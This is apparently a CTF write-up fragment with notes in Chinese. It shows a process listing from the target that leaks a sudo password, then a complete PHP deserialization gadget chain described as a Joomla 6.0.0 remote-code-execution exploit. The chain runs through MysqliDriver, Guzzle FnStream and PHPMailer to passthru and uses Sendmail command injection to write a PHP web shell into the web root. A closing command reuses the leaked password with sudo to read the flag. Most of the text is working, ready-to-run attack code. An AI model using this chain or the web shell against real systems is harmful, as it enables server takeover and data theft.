UID PID PPID C STIME TTY TIME CMD
root 1 0 0 12:02 pts/0 00:00:00 apache2 -DFOREGROUND
root 10 1 0 12:02 pts/0 00:00:00 /bin/sh /usr/bin/mysqld_safe --user=mysql --skip-name-resolve --skip-networking=0 --socket=/run/mysqld/mysqld.sock
mysql 116 10 0 12:02 pts/0 00:00:29 /usr/sbin/mariadbd --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --skip-name-resolve --skip-networking=0 --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/run/mysqld/mysqld.sock
root 117 10 0 12:02 pts/0 00:00:00 logger -t mysqld -p daemon error
root 156 1 0 12:02 pts/0 00:00:00 /bin/sh /usr/local/bin/docker-php-entrypoint apache2-foreground
ctf 175 1 0 12:02 ? 00:00:00 script -q -f -c sh -lc "echo c2Gq01N | sudo -S -v >/dev/null 2>&1; sleep infinity" /dev/null
ctf 176 175 0 12:02 pts/1 00:00:00 sh -lc echo c2Gq01N | sudo -S -v >/dev/null 2>&1; sleep infinity
ctf 195 1 0 12:02 pts/0 00:00:00 apache2 -DFOREGROUND
ctf 198 1 0 12:02 pts/0 00:00:00 apache2 -DFOREGROUND
ctf 200 176 0 12:02 pts/1 00:00:00 sleep infinity
ctf 299 1 0 12:06 pts/0 00:00:00 apache2 -DFOREGROUND
ctf 301 1 0 12:06 pts/0 00:00:00 apache2 -DFOREGROUND
ctf 302 1 0 12:06 pts/0 00:00:00 apache2 -DFOREGROUND
ctf 1975 1 0 13:15 pts/0 00:00:00 apache2 -DFOREGROUND
ctf 3870 1 0 14:33 pts/0 00:00:00 apache2 -DFOREGROUND
ctf 8827 1 0 17:38 pts/0 00:00:00 apache2 -DFOREGROUND
ctf 8832 1 0 17:38 pts/0 00:00:00 apache2 -DFOREGROUND
ctf 8833 1 0 17:38 pts/0 00:00:00 apache2 -DFOREGROUND
ctf 11086 3870 0 18:45 pts/0 00:00:00 sh -c -- Sendmail path: sudo cat /hint --
root 11087 11086 0 18:45 pts/0 00:00:00 sudo cat /hint
ctf 11104 8832 0 18:46 pts/0 00:00:00 sh -c -- Sendmail path: sudo cat /hint --
root 11105 11104 0 18:46 pts/0 00:00:00 sudo cat /hint
root 11119 156 0 18:47 pts/0 00:00:00 sleep 5s
ctf 11131 198 0 18:47 pts/0 00:00:00 sh -c -- ps -efww --
ctf 11132 11131 0 18:47 pts/0 00:00:00 ps -efww

感觉escapeshellcmd防死了,可能得换条路子

写🐎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<?php
// Joomla! 6.0.0 RCE Exploit
// Payload: FnStream Proxy -> passthru("\n/bin/cat /flag")
// Bypass: PHP 8 strict types & arguments count, PHPMailer log prefix

namespace Joomla\Database\Mysqli {
class MysqliDriver {
protected $connection;
// 显式 Mock 属性防止父类干扰
protected $disconnectHandlers = [];
public function __construct($connection) {
$this->connection = $connection;
}
}
}

namespace GuzzleHttp\Psr7 {
class FnStream {
// [代理核心]
// 用于代理 Debugoutput 调用,清洗参数
public $_fn_getMetadata;
// 用于触发 PHPMailer 发送流程
public $_fn_close;

// methods 仅用于构造阶段,反序列化时无效
private $methods = [];

public function __construct($getMetadataCallback, $closeCallback) {
$this->_fn_getMetadata = $getMetadataCallback;
$this->_fn_close = $closeCallback;
$this->methods = ['close' => '1', 'getMetadata' => '1']; // 占位
}
}
}

namespace PHPMailer\PHPMailer {
class PHPMailer {
public $Mailer = 'sendmail';

// [命令注入]
// 1. \n : 换行,断开 "Sendmail path: " 前缀
// 2. /bin/cat /flag : 纯净命令,无特殊字符,无视 escapeshellcmd (因为此处是 Raw 使用)
#public $Sendmail = "\ncd /var/www/html&&pwd&&touch 1.php
public $Sendmail = "cd /var/www/html&&pwd&&touch 3.php&&echo \"<?php system(\$_POST['cmd']); ?>\" >3.php&&ls&&cat 3.php";
// [触发执行]
public $SMTPDebug = 1;

// [代理设置]
// 设置 Debugoutput 为 FnStream 代理对象的 getMetadata 方法
// 运行时执行: $proxy->getMetadata("Sendmail path: \n/bin/cat /flag", 1)
// 代理内部执行: passthru("Sendmail path: \n/bin/cat /flag") -> 忽略了参数 1 -> 成功!
public $Debugoutput;

// [环境配置]
public $From = 'admin@localhost.com';
public $Sender = 'admin@localhost.com';
public $Subject = 'Pwn';
public $Body = 'Pwn';
protected $language = ['execute' => ''];

protected $to = [];
protected $cc = [];
protected $bcc = [];
protected $ReplyTo = [];
protected $all_recipients = [];
protected $RecipientsQueue = [];
protected $ReplyToQueue = [];
protected $attachment = [];
protected $CustomHeader = [];
protected $boundary = [];
protected $exceptions = false;

public function __construct() {
$this->to[] = ['admin@localhost.com', 'Admin'];
$this->all_recipients['admin@localhost.com'] = true;
}
}
}

namespace {
// 1. 初始化 Mailer
$mailer = new \PHPMailer\PHPMailer\PHPMailer();

// 2. 初始化 FnStream (身兼两职:触发器 + 代理)
// 构造函数参数: (getMetadata回调, close回调)
// _fn_getMetadata 指向 'passthru' (执行命令)
// _fn_close 指向 [$mailer, 'send'] (触发发送)
$fnStream = new \GuzzleHttp\Psr7\FnStream('passthru', [$mailer, 'send']);

// 3. 配置 Mailer 使用该 FnStream 作为调试输出
$mailer->Debugoutput = [$fnStream, 'getMetadata'];

// 4. 装载到 Driver
$driver = new \Joomla\Database\Mysqli\MysqliDriver($fnStream);

// 5. 生成 Fast Destruct Payload
$ser = serialize([$driver]);
$payload = substr($ser, 0, -1);

echo base64_encode($payload);
echo "\n";
}

1
2
cmd=echo 'c2Gq01N'; | script -q -c 'sudo cat /flag' /dev/null